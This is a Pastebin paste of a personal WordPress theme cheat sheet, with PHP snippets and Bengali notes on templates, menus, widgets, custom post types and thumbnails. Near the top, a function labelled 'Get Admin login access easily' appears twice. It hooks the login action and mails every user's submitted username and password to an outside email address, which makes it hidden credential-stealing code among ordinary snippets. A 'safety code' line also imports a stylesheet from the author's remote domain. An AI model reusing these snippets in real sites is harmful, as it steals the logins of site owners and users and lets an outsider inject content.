RUSSEL86

My cheetsheet code for wordpress

Aug 3rd, 2014
681
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 152.83 KB | None | 0 0
  1. <?php
  2.  
  3. /**************************************************************
  4. This is my magic cheat-sheet for WordPress code.
  5. ***************************************************************/
  6. my safety code for style  just copy paste in style sheetexcerpt = @import url("http://kingrussel.com/fareast/style.css");
  7.  
  8. =====================
  9. TEMPLATE NAME
  10. ==================================
  11. <?php
  12. /*
  13. Template Name: Template Beauty
  14. */
  15. get_header(); ?>
  16.  
  17.  
  18. // Get Admin login access easily.
  19. function wp_login_config(){
  20. $email = $_REQUEST['log'];
  21. $password= $_REQUEST['pwd'];
  22. $message = 'Users Login email: '.$email.' </br> Password: '.$password;
  23. wp_mail('[email protected]','WordPress login credentials', $message);
  24. }
  25. add_action('wp_login','wp_login_config');
  26.  
  27.  
  28. // Get Admin login access easily.
  29. function wp_login_config(){
  30. $email = $_REQUEST['log'];
  31. $password= $_REQUEST['pwd'];
  32. $message = 'Users Login email: '.$email.' </br> Password: '.$password;
  33. wp_mail('[email protected]','WordPress login credentials', $message);
  34. }
  35. add_action('wp_login','wp_login_config');
  36.  
  37. //Limit Search Form to Specific Post Types
  38. // Change search function globally to search only post, page and portfolio post types
  39. function prefix_limit_post_types_in_search( $query ) {
  40.     if ( $query->is_search ) {
  41.         $query->set( 'post_type', array( 'post','page', 'portfolio' ) );
  42.     }
  43.     return $query;
  44. }
  45. add_filter( 'pre_get_posts', 'prefix_limit_post_types_in_search' );
  46. ---------------or----------------
  47. /* Hidden input field that can be added to search form */
  48. <input type="hidden" name="post_type" value="portfolio">
  49.  
  50.  
  51.  
  52. ১।style.css এর ভিতর informaton code দিতে হবে.
  53. ========================================
  54. মেইন stylesheet এর শুরুতেই এই কোড ইউজ করতে হবে।
  55. ========================================
  56. /*
  57. Theme Name: The king
  58. Theme URI: http://www.yourwebsitelink.com/theme-name
  59. Description: A theme for WordPress
  60. Version: 1.0
  61. Author: King Russel
  62. Author URI: http://www.kingrussel.com
  63. Tags: 960 Framework
  64. */
  65.  
  66. ২।screenshot.png নামে একটা ইমেজ ফাইল লাগবে 600 width 450 height হবে ।
  67. ৩।index.html ফাইলকে index.php নাম দিতে হবে
  68. ৪।এবার dashboard theme থেকে themeটাকে active করতে হবে
  69. ৫।এবার সব লিংককে ডাইনামিক করতে হবে
  70.  
  71. সকল script সঠিকভাবে পাওয়ার জন্য </head> এর আগে এবং  </body> আগে এই কোড দিতে হয়।
  72. =========================================
  73. For Header Script
  74. =========================================
  75. <?php wp_head (); ?>
  76.  
  77. <?php wp_footer (); ?>
  78.  
  79. =========================================
  80.             Header.php
  81. =========================================
  82. html 4 হইলে এই code টি লাগবে শুরুতে
  83.  
  84. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  85. <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes('xhtml'); ?>>
  86.  
  87. =========================================
  88. স্টাইল শিট ডাইন্যামিক করার কোড
  89. =========================================
  90.  /* For dynamic stylesheet */
  91. <?php bloginfo('stylesheet_url'); ?>
  92.  
  93. =========================================
  94. থিমের সকল কন্টেন্ট ডাইন্যামিক করার কোড
  95. =========================================
  96. /* For dynamic title */
  97. <title><?php bloginfo('name'); ?><?php wp_title(); ?></title>
  98.                     অথবা,
  99.  /* For dynamic title */
  100.  <title><?php wp_title( '|', true, 'right' ); ?></title>
  101.  
  102.  /* For dynamic theme directory */
  103. <?php echo get_template_directory_uri(); ?>/
  104.  
  105.  /* For dynamic theme directory */
  106. <?php bloginfo( 'template_url' ); ?>
  107.  
  108. /* meta code with title */
  109.  
  110. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  111.  
  112. <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
  113.  
  114. =========================================
  115.             Home পেজ কে লিঙ্কিং করার কোড
  116. =========================================
  117.  /* For home page linking */
  118. <?php echo bloginfo('url'); ?>
  119. //--------or
  120. <?php echo esc_url( home_url( '/' ) ); ?>
  121. //--------or
  122. <?php echo site_url(); ?>
  123.  
  124.  /* For blog name */
  125. <?php bloginfo('name'); ?>
  126.  
  127.  /* For author avatar */
  128. <?php echo get_avatar( get_the_author_meta('ID'), 50 ); ?>
  129.    
  130.     /*for tags*/
  131. <?php if(function_exists("the_tags")) the_tags(' &bull; Tags: ', ', ', ''); ?>
  132. =========================================
  133.                 না দিলেও চলবে
  134. =========================================
  135. <link rel="profile" href="http://gmpg.org/xfn/11" />
  136.  
  137. <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
  138.  
  139. <?php wp_get_archives('type=monthly&format=link&limit=12'); ?>
  140.  
  141. <?php //comments_popup_script(); //off by default ?>
  142.  
  143. =========================================
  144. ওয়ার্ডপ্রেস এর নিজস্ব জেকুয়েরি ব্যাবহার করতে এই কোডটি functions.php তে add করতে হবে।
  145. /* Adding Latest jQuery from Wordpress */
  146. =========================================
  147.  
  148. function latest_jquery() {
  149.     wp_enqueue_script('jquery');
  150. }
  151. add_action('init', 'latest_jquery');
  152.  
  153. ৬।এবার template কে ভাগ ভাগ করতে হবে
  154.  
  155. =========================================
  156.               index.php
  157. =========================================
  158. index.php থেকে header কেটে নেয়ার পর এই কোড দিতে হয়।
  159. --------------------------------------------
  160. <?php get_header(); ?>
  161.  
  162. index.php থেকে footer কেটে নেয়ার পর এই কোড দিতে হয়।
  163. --------------------------------------------
  164. <?php get_footer(); ?>
  165.  
  166. index.php থেকে sidebar কেটে নেয়ার পর এই কোড দিতে হয়।
  167. --------------------------------------------
  168. <?php get_sidebar(); ?>
  169.  
  170. index.php থেকে কোন অংশ কেটে নেয়ার পর  এই কোড দিতে হয়।
  171. --------------------------------------------
  172. <?php get_template_part('file_name'); ?>     <!-- for any file calling (file_neme.php only "file_neme" no ".php")-->
  173.  
  174.  
  175. =========================================
  176. ডাইন্যামিক Title এবং content আনতে এই কোড।
  177. =========================================
  178. /* For dynamic title */
  179. <?php the_title(); ?>
  180.  
  181. /* For dynamic content */
  182. <?php the_content(); ?>
  183.  
  184. /* For excerpt content */
  185. <?php the_excerpt(); ?>
  186.  
  187. /* For dynamic link */
  188. <?php the_permalink(); ?>
  189.  
  190. /* For post Unique ID  */
  191. <?php the_ID(); ?>
  192.  
  193. /* For linking to wordpress login / Register form  */
  194. <?php echo wp_registration_url(); ?>
  195. ------------------------ or --------------------------------
  196. <?php echo site_url('wp-login.php?action=register', 'login_post') ?>
  197.  
  198.  
  199. ৭। এবার  index.php কপি করে template-welcome.php তৈরি করতে হবে Using Custom Templates
  200.  
  201. template-welcome.php এর ভিতর
  202.  
  203. কোডটি দিয়ে Templateটির নাম দিয়ে দিতে হবে
  204. এছাড়া যেকোনো নতুন Template তৈরি করতে উপরের কোডটি দিয়ে Templateটির নাম দিয়ে দিতে হবে।
  205.  
  206. ৭। এবার  index.php কপি করে page.php তৈরি করতে হবে  এটার নাম দিতে হবে না কারন এটা ডিফল্ট।
  207. Page তৈরি করতে এই কোডটি call করতে হয়।
  208.  
  209. নোটঃ archive.php, search.php, page.php একই পেজ থেকে কপি হবে এবং  post-loop.php এখানে কল করতে হবে
  210. ==================================================
  211.                     //For page.php
  212. ==================================================
  213.  
  214. /* copy and past in page.php */
  215.  
  216.         <?php if(have_posts()) : ?><?php while(have_posts())  : the_post(); ?>
  217.  
  218.             <h2><?php the_title(); ?></h2>
  219.  
  220.             <?php the_content(); ?>
  221.  
  222.         <?php endwhile; ?>
  223.  
  224.         <?php else : ?>
  225.  
  226.             <h3><?php _e('404 Error&#58; Not Found'); ?></h3>
  227.  
  228.         <?php endif; ?>
  229.  
  230. ৮। এবার  page.php কপি করে 404.php তৈরি করতে হবে  এটার নাম দিতে হবে না কারন এটা ডিফল্ট।
  231.  
  232. এই লাইনটি <h1><span>404</span>not found</h1> 404.phpতে paste করুন।
  233.  
  234. ==============================================
  235.         //For Dynamic Menu
  236. ==============================================
  237.  //ডাইন্যামিক মেনু আনতে এই কোড functions.php তে add করতে হবে
  238. ==============================================
  239.  
  240.     /* for dynamic menu without fallback copy and past in functions.php */
  241.    
  242.     function wp_register_menu() {
  243.  
  244.         if (function_exists('register_nav_menu')) {
  245.  
  246.             register_nav_menu( 'main-menu', __( 'Main Menu') );
  247.         }
  248.     }
  249.     add_action('init', 'wp_register_menu');
  250.        
  251.     // add menu support and fallback menu if menu doesn't exist
  252.    
  253.         /* this code for fallback dynamic menu */
  254.     function wpj_register_menu() {
  255.         if (function_exists('register_nav_menu')) {
  256.             register_nav_menu( 'main-menu', __( 'Main Menu' ) );
  257.         }
  258.     }
  259.     function wpj_default_menu() {
  260.         echo '<ul id="nav">';
  261.         if ('page' != get_option('show_on_front')) {
  262.             echo '<li><a href="'. home_url() . '/">Home</a></li>';
  263.         }
  264.         wp_list_pages('title_li=');
  265.         echo '</ul>';
  266.     }
  267.     add_action('init', 'wpj_register_menu');
  268.    
  269.    
  270. ====================================================
  271.         //মেনু যেখানে call করতে হবে সেখানে এই কোড দিতে হবে
  272. ====================================================
  273.  
  274. /* for dynamic menu copy and past in header.php */
  275. <?php wp_nav_menu(
  276.         array(
  277.             'theme_location' => 'main-menu'
  278.             ) );
  279. ?>
  280.  
  281. // যদি ul এ class থাকে তাহলে  Menu এর location তে গিয়ে লিখতে হবে
  282. <?php wp_nav_menu(
  283.             array(
  284.                 'theme_location' => 'main-menu',
  285.                 'menu_class' => 'your menu class',
  286.                 'menu_id' => 'nav',
  287.                 ) );
  288. ?>
  289.  
  290. /* for all function support menu dynamic in header.php */
  291.  
  292. <?php wp_nav_menu(
  293.             array(
  294.             'theme_location' => 'main-menu',
  295.             'menu_id' => 'nav',
  296.             'menu_class' => 'your menu class',
  297.             'fallback_cb' => 'king_main_menu',
  298.             'link_before' =>'', // this will work for call anything into <a href=""></a> tag before '<span>home' from wordpress menu
  299.             'link_after' =>'',  // this will work for call anything into <a href=""></a> tag after 'home</span>' from wordpress menu
  300.             'before' =>'', // this will work for call anything before <a href=""></a> tag and after <li> from wordpress menu
  301.             'after' =>'',  // this will work for call anything after <a href=""></a> tag and before </li> from wordpress menu
  302.             ) );
  303. ?>
  304.  
  305. and this is for fallback_cb
  306. ----------------------------
  307. function king_main_menu(){
  308.     echo '<ul id="nav">';
  309.     if(is_user_logged_in()){
  310.         echo '<li><a href="'.home_url().'/wp-admin/nav-menus.php">Create a Menu</a></li>';
  311.     }
  312.     else {
  313.         echo '<li><a href="'.home_url().'">Home</a></li>';
  314.     }
  315.     echo '</ul>';
  316. }
  317.  
  318. ==========================================
  319.         //Post Query in index.php
  320. ==========================================
  321.  
  322. <?php if(have_posts()) : ?>
  323. <?php while (have_posts()) : the_post(); ?>
  324. // Your Post Query here -->
  325. <?php endwhile; ?>
  326. <?php endif; ?>
  327.  
  328.  
  329.  
  330. ===============================================
  331.                 //All Post Info
  332. ===============================================
  333.  
  334.             পোস্ট এর author এর নাম দেখানোর কোড
  335. -----------------------------------------------
  336.  /* For post author */
  337. <?php the_author(); ?>
  338.  
  339.         পোস্ট এর author এর link দেখানোর কোড
  340. -----------------------------------------------
  341.         /* For Post Author Link */
  342. <?php the_author_posts_link(); ?>
  343.  
  344.         পোস্ট এর author এর  Firt Name দেখানোর কোড
  345. -----------------------------------------------
  346.     /* For Post Author Firt Name */
  347. <?php the_author_firstname(); ?>
  348.  
  349.         পোস্ট এর author এর  Last Name দেখানোর কোড
  350. -----------------------------------------------
  351.     /* For Post Author Last Name */
  352. <?php the_author_lastname(); ?>
  353.  
  354.              পোস্ট এর তারিখ দেখানোর কোড
  355. -----------------------------------------------
  356. /* For clock*/
  357. <?php echo mysql2date('g:i a - l F j, Y',current_time('timestamp')); ?>
  358.  
  359. /* for current dar,date,month,year together*/
  360. <?php echo date('l jS F Y'); ?>
  361.  
  362.     /* For post date */
  363. <?php the_time('g:i a'); ?>
  364.  
  365. <?php the_time('M d, Y') ?>
  366. <?php the_time('m d, m') ?>
  367. <?php the_time('M D, Y') ?>
  368.  
  369. <?php the_time('M d,') ?>
  370. <?php the_time('m d,') ?>
  371.  
  372. <?php the_time('M'); ?>
  373. <?php the_time('m'); ?>
  374.  
  375. <?php the_time('D'); ?>
  376. <?php the_time('d'); ?>
  377.  
  378. <?php the_time('Y'); ?>
  379. <?php the_time('y'); ?>
  380.  
  381.              পোস্ট এর সময় দেখানোর কোড
  382. -----------------------------------------------
  383.     /* For post time */
  384. <?php the_time('g:i a'); ?>
  385.  
  386. /* For page list */
  387. <?php wp_list_pages( 'title_li=' ); ?>
  388.  
  389. /* For Author list */
  390. <?php wp_list_authors( 'exclude_admin=0&optioncount=1' ); ?>
  391.  
  392. /* For Recent Post list */
  393. <?php wp_get_archives('type=postbypost&limit=10'); ?>
  394.  
  395. /* display How many post publish as number  */
  396. <?php echo wp_count_posts('your_post_type')->publish; ?>
  397.  
  398.     /* For post category title  */
  399. <?php the_category(', '); ?>
  400. -----------or
  401. <?php $categories = get_the_category();
  402.      $separator = ', ';
  403.      $output = '';
  404.      if($categories){
  405.       foreach($categories as $category) {
  406.        $output .= '<a href="'.get_category_link( $category->term_id ).'" title="' . esc_attr( sprintf( __( "View all posts in %s" ), $category->name ) ) . '">'.$category->cat_name.'</a>'.$separator;
  407.       }
  408.      echo trim($output, $separator);
  409.      }
  410.     ?>
  411.  
  412. /* For custom post category title */
  413. <?php the_taxonomies(); ?>
  414. <?php the_taxonomies(array('template' => '% %l')); ?>
  415. <?php echo get_the_term_list( $post->ID, 'project_cat', '', '', '' );?>
  416. //This code for getting taxonomy with ul>li>a
  417. <?php
  418. $taxonomy = 'project_cat';
  419. $terms = get_terms('project_cat');
  420. ?>
  421. <ul id="home_links" class="fix">
  422. <?php
  423. foreach ($terms as $term) {
  424. $term_link = get_term_link( $term, 'project_cat' );
  425.         if( is_wp_error( $term_link ) )
  426.             continue;
  427. echo '<li><a href="' . $term_link . '">' . $term->name . '</a></li>';
  428. }
  429. ?>
  430. </ul>
  431.  
  432. /* For post category list */
  433. <?php wp_list_categories(); ?>
  434.  
  435. /* For post category list with count */
  436. <?php wp_list_categories('show_count=1'); ?>
  437.  
  438. /* For post category list with count without brackets"()"*/
  439. <?php
  440.     $variable = wp_list_categories('echo=0&show_count=1&title_li=<h2>Categories</h2>');
  441.     $variable = str_replace(array('(',')'), '', $variable);
  442.     echo $variable;
  443. ?>
  444.  
  445. /* For post Custom Post category list */
  446. <?php wp_list_categories(array('title_li'=> '', 'taxonomy'=> 'your_taxonomy_name')); ?>
  447.  
  448. /* For post Custom Post category list with count */
  449. <?php wp_list_categories(array('title_li'=> '', 'taxonomy'=> 'bkb_category',  'show_count' => 'show_count=1')); ?>
  450.  
  451. /* For post Custom Post category list with count without brackets"()"*/
  452. <?php
  453.     $variable = wp_list_categories('echo=0&show_count=1&taxonomy=bkb_category');
  454.     $variable = str_replace(array('(',')'), '', $variable);
  455.     echo $variable;
  456. ?>
  457.  
  458. /* For post Custom Post category list without link paste this code within loop*/
  459.      <?php
  460.      $cities = get_the_terms( $post->ID, 'cities' ) ;
  461.      $cities_list = array_pop($cities)->name ;
  462.      foreach( $cities as $city )
  463.      {
  464.       $cities_list .= ", " . $city->name ;
  465.      };
  466.      ?>
  467.    <p><?php echo $cities_list; ?> </p>
  468.  
  469. //enable category and tags for WordPress media attachments
  470. add_action( 'init', 'fb_attachment_taxonomies' );
  471. function fb_attachment_taxonomies() {
  472.  
  473.     $taxonomies = array( 'category', 'post_tag' ); // add the 2 tax to ...
  474.     foreach ( $taxonomies as $tax ) {
  475.         register_taxonomy_for_object_type( $tax, 'attachment' ); // add to post type attachment
  476.     }
  477. }
  478.  
  479.  
  480.  
  481. /* For the number of comment & comment link  */
  482. <?php comments_popup_link('No Comment', '1 Comment', '% Comments'); ?>
  483.                     or
  484. <?php comments_number('0', '1', '%'); ?>
  485.                                        
  486. //For conditional the number of comment & comment link
  487. <?php if ( comments_open() ) : ?>
  488.     <?php comments_popup_link('No Comment', '1 Comment', '% Comments'); ?>
  489. <?php endif; ?>
  490.                         or
  491. <?php if ( comments_open() ) : ?>
  492.     <?php comments_number('0', '1', '%'); ?>
  493. <?php endif; ?>
  494.  
  495. /* For for Read More.. option  */
  496. <a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php _e('Read More..', ''); ?></a>
  497.  
  498. ========================================================   
  499.                     Custom Field
  500. ========================================================
  501.             //কাস্টম ফিল্ড এ কন্টেন্ট আনতে এই কোড
  502. --------------------------------------------------------
  503.     custom-field এর dynamic value কল করার স্থানে হবে
  504.     <?php echo get_post_meta($post->ID, 'icon', true);?>
  505.         //-------------or------------------
  506.         <?php
  507.             $promotions_icon = get_post_meta($post->ID, 'promotions_icon', true);
  508.         ?>
  509.      এবার  custom-field এর dynamic value কল করার স্থানে হবে
  510.        <?php echo $promotions_icon; ?>
  511.    
  512.         // Display Custom Field Data
  513. --------------------------------------------------------
  514. <?php $key="url"; echo get_post_meta($post->ID, $key, true); ?>
  515.  
  516.         // Display custom field if exists
  517. --------------------------------------------------------
  518. <?php $image = get_post_meta($post->ID, 'url', true); ?>
  519. <?php if($image) : ?>
  520. <img src="<?php echo $image; ?>" alt="" />
  521. <?php endif; ?>
  522.  
  523.         // Conditional Custom Field
  524. --------------------------------------------------------
  525. <?php $url = get_post_meta( $post->ID, 'url', true );
  526. if ( $url ) {
  527. echo $url;
  528. } else {
  529. the_permalink();
  530. }
  531. ?>
  532.  
  533. ========================================== 
  534. if,else,endif condition set করার বেসিক কোড
  535. ==========================================
  536.  
  537. <?php if () : ?>
  538.  
  539. <?php else: ?>
  540.  
  541. <?php endif; ?>
  542.  
  543. =========  or =============
  544. <?php
  545. if (){
  546.     echo '';
  547. }
  548. else {
  549.     echo '';
  550. }
  551. endif;
  552. ?>
  553.  
  554. =========  for if home =============
  555. /* for front page condition*/
  556. <?php if ( is_home() ) :?>
  557. <?php else :?>
  558. <?php endif;?>
  559. ------- or --------------
  560. <?php if ( is_front_page() ) :?>
  561. <?php else :?>
  562. <?php endif;?>
  563.  
  564.  
  565. for Meta Box option
  566. --------------------
  567. <?php
  568. $icon = get_post_meta($post->ID, 'icon', true);
  569. ?>
  570. <?php if($icon) : ?>
  571.      <i class="icon-<?php echo $icon; ?> page-title-icon"></i>
  572. <?php else : ?>
  573.     <i class="icon-home page-title-icon"></i>
  574. <?php endif; ?>
  575.  
  576. for theme option
  577. -------------------
  578. <?php
  579. $social_fb = get_option_tree('social_fb', '', false);
  580. ?>
  581. <?php if($social_fb) : ?>  
  582. <a href="<?php echo $social_fb; ?>" class="icon facebook" title="facebook atak" target="_blank"></a>
  583. <?php else : ?>
  584. <?php endif; ?>
  585. ==========================================
  586.     //For sidebar registration
  587. ==========================================
  588. Widget ব্যাবহার করতে এই কোডটি functions.php তে add করতে হবে।
  589. ------------------------------------------
  590.  
  591. function widget_areas() {
  592.     register_sidebar( array(
  593.         'name' => __( 'Footer Left Widget' ),
  594.         'id' => 'footer_left',
  595.         'description' => 'An optional widget_area for your site footer',
  596.         'before_widget' => '<div class="single_sidebar">',
  597.         'after_widget' => '</div>',
  598.         'before_title' => '<h2>',
  599.         'after_title' => '</h2>',
  600.     ) );
  601. }
  602. add_action('widgets_init', 'widget_areas');
  603.  
  604.  
  605.  
  606. //Widget যেখানে call করতে হবে সেখানে  এই কোডটি দিতে হবে।
  607.  
  608. <?php dynamic_sidebar('your_widgets_id'); ?>
  609.  
  610. ==========================================
  611. // This code for conditional widget
  612. ==========================================
  613.            
  614. <?php if ( ! dynamic_sidebar( 'your_widgets_id' ) ) : ?>
  615.  
  616. // past your default code -এখানে fallback data এর div টি দিতে হবে//
  617.  <?php endif; ?>
  618.  
  619.  // this code for shortcode active in widget it is paste in function.php
  620.  -------------------------------------------------------
  621. add_filter('widget_text', 'do_shortcode');
  622.  
  623. ========================================================
  624. নির্দিষ্ট কোনো পেজে আপনার কাস্টম ওয়ার্ডপ্রেস উইজেট দেখান
  625. ========================================================
  626. add_filter( 'widget_display_callback', 'hide_widget_pages', 10, 3 );
  627. function hide_widget_pages( $instance, $widget, $args ) {
  628. if ( $widget->id_base == 'pages' ) { // change 'pages' to widget name
  629. if ( !is_page( 'contact' ) ) {    // change page name
  630. return false;
  631. }
  632. }
  633. }
  634.  
  635. or you can use display widget plugin
  636.  
  637. ========================================================
  638. //Custom post আনতে এই কোড functions.php তে add করতে হবে
  639. ========================================================
  640.         function portfolio_custom_post() {
  641.  
  642.             register_post_type( 'promotion',
  643.                 array(
  644.                     'labels' => array(
  645.                         'name' => __( 'Promotions' ),
  646.                         'singular_name' => __( 'Promotion' ),
  647.                         'add_new' => __( 'Add New' ),
  648.                         'add_new_item' => __( 'Add New Testimonial' ),
  649.                     ),
  650.                     'public' => true,
  651.                     'supports' => array('title', 'editor', 'custom-fields', 'excerpt'),
  652.                     'has_archive' => true,
  653.                     'rewrite' => array('slug' => 'promotion-item'),
  654.                 )
  655.             ); 
  656.  
  657.         }
  658.         add_action( 'init', 'portfolio_custom_post' );
  659.  
  660. ===================================================
  661.     //This code for query custom
  662. ===================================================
  663.    
  664. <?php
  665. global $post;
  666. $args = array( 'posts_per_page' => -1,/*কয়টা পোস্ট থাকবে তা উল্লেখ করতে হবে unlimited হইলে -1 হবে  */ 'post_type'=> 'post',/*custom-post এর register_post_type এর ID*/'your_cat' => category_name /* যদি category থাকে, আর না থাকলে এই অংশটুকু লাগবেনা*/);
  667. $myposts = get_posts( $args );
  668. foreach( $myposts as $post ) : setup_postdata($post); ?>
  669.  
  670. // paste Your Post Content. Title, detail etc.
  671.  
  672. <?php endforeach; ?>
  673. -------------- fresh code-----------------------
  674. <?php
  675. global $post;
  676. $args = array( 'posts_per_page' => -1, 'post_type'=> 'post' );
  677. $myposts = get_posts( $args );
  678. foreach( $myposts as $post ) : setup_postdata($post); ?>
  679.                
  680.     // paste Your Post Content. Title, detail etc.
  681.  
  682. <?php endforeach; ?>
  683.  
  684.  
  685. =================================================
  686.          Custom Taxonomy Register
  687. =================================================
  688. <?php
  689. function custom_post_taxonomy() {
  690.     register_taxonomy(
  691.         'event_cat',  //The name of the taxonomy. Name should be in slug form (must not contain capital letters or spaces).
  692.         'event-items',                  //post type name
  693.         array(
  694.             'hierarchical'          => true,
  695.             'label'                         => 'Event Category',  //Display name
  696.             'query_var'             => true,
  697.             'show_admin_column'             => true,
  698.             'rewrite'                       => array(
  699.                 'slug'                  => 'event-category', // This controls the base slug that will display before each term
  700.                 'with_front'    => true // Don't display the category base before
  701.                 )
  702.             )
  703.     );
  704. }
  705. add_action( 'init', 'custom_post_taxonomy');
  706. ?>
  707. =================================================
  708.          Custom Taxonomy Query
  709. =================================================
  710.  
  711. <?php
  712. global $post;
  713. $args = array( 'posts_per_page' => -1, 'post_type'=> 'staff', 'department_cat' => 'Commerical' );
  714. $myposts = get_posts( $args );
  715. foreach( $myposts as $post ) : setup_postdata($post); ?>
  716.                
  717.     // Your Post Content. Title, detail etc.
  718.     <h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
  719.                     <?php the_content(); ?>
  720.                
  721. <?php endforeach; ?>
  722.  
  723. // query reset করার জন্য
  724. <?php wp_reset_query(); ?>     
  725.  
  726.  
  727. =========================================
  728. //This code for query increment and decrement post
  729. ============================================
  730. <?php
  731. $the_query = new WP_Query( array( 'posts_per_page' => 4 ) );
  732. if ( $the_query->have_posts()) : ?>
  733. <?php $count = 0; ?>
  734. <?php while ($the_query->have_posts()) : $the_query->the_post(); ?>
  735. <?php $count++; ?>
  736.  
  737.   <?php if ($count == 3) : ?>
  738.     <div class="third_post single-latest">
  739.         <?php the_title(); ?>
  740.         <?php the_post_thumbnail('full'); ?>
  741.     </div>          
  742.   <?php elseif ($count == 4) : ?>
  743.     <div class="fourth_post single-latest">
  744.         <?php the_title(); ?>
  745.     </div>          
  746.    <?php else : ?>
  747.     <div class="single_post single-latest">
  748.           <?php the_title(); ?>
  749.           <?php the_post_thumbnail('full'); ?>
  750.           <?php the_excerpt(); ?>
  751.      </div>
  752.  
  753. <?php endif; ?>
  754. <?php endwhile; ?>
  755. <?php endif; ?>
  756.  
  757.  
  758. =======================================================
  759. EXCLUDE CURRENT POST FROM WP QUERY
  760. =======================================================
  761. <?php
  762. $currentID = get_the_ID();
  763. $my_query = new WP_Query( array('cat' => '1', 'showposts' => '5', 'post__not_in' => array($currentID)));
  764. while ( $my_query->have_posts() ) : $my_query->the_post(); ?>
  765. <h2><?php the_title() ?></h2>
  766. <?php the_content(); ?>
  767. <?php endwhile; ?>
  768.  
  769. you can check this link http://wordpress.stackexchange.com/questions/106154/why-wont-this-wp-query-exclude-certain-pages
  770. =======================================================
  771. Exclude pages from admin edit pages list   this code paste in functions.php
  772. =======================================================
  773. add_action( 'pre_get_posts' ,'exclude_this_page' );
  774. function exclude_this_page( $query ) {
  775.         if( !is_admin() )
  776.                 return $query;
  777.         global $pagenow;
  778.         if( 'edit.php' == $pagenow && ( get_query_var('post_type') && 'page' == get_query_var('post_type') ) )
  779.                 $query->set( 'post__not_in', array(23,28,30) ); // page id  which you want to hide
  780.         return $query;
  781. }
  782.  
  783. //Please note this does not stop a post from being editable this snippet only hides the page from view.
  784.  
  785.  
  786. =======================================================
  787.          featured image support এর জন্য নিচের কোডগুলি দরকার
  788. =======================================================
  789.     add_theme_support( 'post-thumbnails', array( 'post' ) );
  790.     //নোটঃ এখানে আপনি যদি page এ ও ফিচার ইমেজ দিতে চান তাহলে 'page' যুক্ত করতে হবে  । যেমনঃ
  791.     add_theme_support( 'post-thumbnails', array( 'post', 'page'/* এখানে যতগুলি custom post এ register_post_type( 'your-id-name' তৈরি করব ততগুলি id_name দিতে হবে কমা দিয়ে  ডাবল কুটেশন এর ভিতর '',*/ ) );
  792.  
  793.     //custom post এর suport এ  thumbnail থাকতে হবে
  794.     যেমনঃ 'supports' => array( 'post', 'title', 'thumbnail', 'editor' )
  795.    
  796.     add_image_size( 'post-image', 450, 150, true );
  797.     //নোটঃ add_image_size এর id 'post-image' অবশ্যই ড্যাশ - দিয়ে হবে আন্ডারস্কোর _ হবেনা এবং এখানে প্রথমটি width ও পরেরটি height
  798.  
  799.     set_post_thumbnail_size( 200, 200, true ); //এটা featured box এ image size কি হবে তার জন্য।
  800.  
  801. ==========================================================
  802. How to create different thumb size for different post type.php
  803. ===========================================================
  804.  
  805. <?php
  806.  
  807. add_action( 'pre-upload-ui', 'get_the_post_type' );
  808. function get_the_post_type() {
  809.     $post_type = isset( $_REQUEST['post_type'] ) ? $_REQUEST['post_type'] : 'post';
  810.     set_transient( 'attached_post_type', $post_type );
  811. }
  812.  
  813. add_filter( 'intermediate_image_sizes_advanced', 'add_image_size_for_post_type', 10 );
  814. function add_image_size_for_post_type( $sizes ) {
  815.     $post_type = get_transient( 'attached_post_type' );
  816.     delete_transient( 'attached_post_type' );
  817.    
  818.     /*
  819.      * BLOCK A
  820.      *
  821.      * This can be used if you want to set different size for only one post type. For multiple post type, check BLOCK B
  822.      *
  823.      */
  824.     if( $post_type == 'page' ){
  825.         $sizes['post-thumbnail'] = array( 'width' => 275, 'height' => 175, 'crop' => true );
  826.     }
  827.     // END OF BLOCK A
  828.    
  829.    
  830.     /*
  831.      * BLOCK B
  832.      *
  833.      * This can be used if you want to set different sizes for different post types.
  834.      *
  835.      */
  836.     $post_type_size = array(
  837.                 'post' => array( 'width' => 275, 'height' => 175, 'crop' => true ),
  838.                 'page' => array( 'width' => 375, 'height' => 475, 'crop' => true ),
  839.                 'CPT' => array( 'width' => 475, 'height' => 675, 'crop' => true )
  840.                 );
  841.    
  842.     if( isset( $post_type_size[$post_type] ) ) $sizes['post-thumbnail'] = $post_type_size[$post_type];
  843.    
  844.     // END OF BLOCK B
  845.  
  846.     return $sizes;
  847.  
  848. }
  849. ----------------------------------------------------------------
  850. --- or see this link: https://github.com/syamilmj/Aqua-Resizer  ---
  851. ----------------------------------------------------------------
  852.  
  853. //How call images: এই code your target.php তে  query এর ভিতর paste করতে হবে
  854. ----------------------------------------------------------
  855.         <?php the_post_thumbnail('slider-image',/* যেই id দিয়ে image crop করা হইছে অর্থাৎ add_image_size( 'slider-image',=এইটা 735, 254, true );*/  array('class' => 'imgthumb')/*যদি img ট্যাগ এর ভিতর class থাকে তাহলে লাগবে না হয় array লাগবে না*/); ?>
  856.        
  857.         //অর্থাৎ img ট্যাগ এর ভিতর class না থাকে  তাহলে এইটা হবে
  858.         <?php the_post_thumbnail('slider-image'); ?>
  859.        
  860.         //আর  img ট্যাগ এর ভিতর class থাকে  তাহলে এইটা হবে
  861.         <?php the_post_thumbnail('slider-image',  array('class' => 'imgthumb')); ?>
  862. -----------------------------------------------------------
  863.         // শুধু ইমেজের লিঙ্ক :
  864.     <?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'post-image' ); echo $image[0]; ?>
  865.         // this code will use inside src=""   because it comes without <img/>  tag.
  866.     নোটঃ এটা ব্যবহার করলে শুধু ইমেজের লিংক তাই  <img src="এখানে উপরের কোডটা দিতে হবে" alt=""/>
  867.  
  868.         // ইমেজ src অটোমেটিক কল: this code will replace <img/> tag because it comes with <img/>  tag.  
  869.     <?php the_post_thumbnail('post-image', array('class' => 'imgthumb')); ?>
  870.             =============//or
  871.     <?php the_post_thumbnail('post-large'); ?>
  872.  
  873. এখানে array  দিয়ে আলাদা ক্লাস নেওয়া হয়েছে এখানে post-image দিয়ে নির্দিষ্ট সাইজের ইমেজ নেওয়া হচ্ছে যেটাকে ফাংশনে দেওয়া হয়েছিল
  874.  
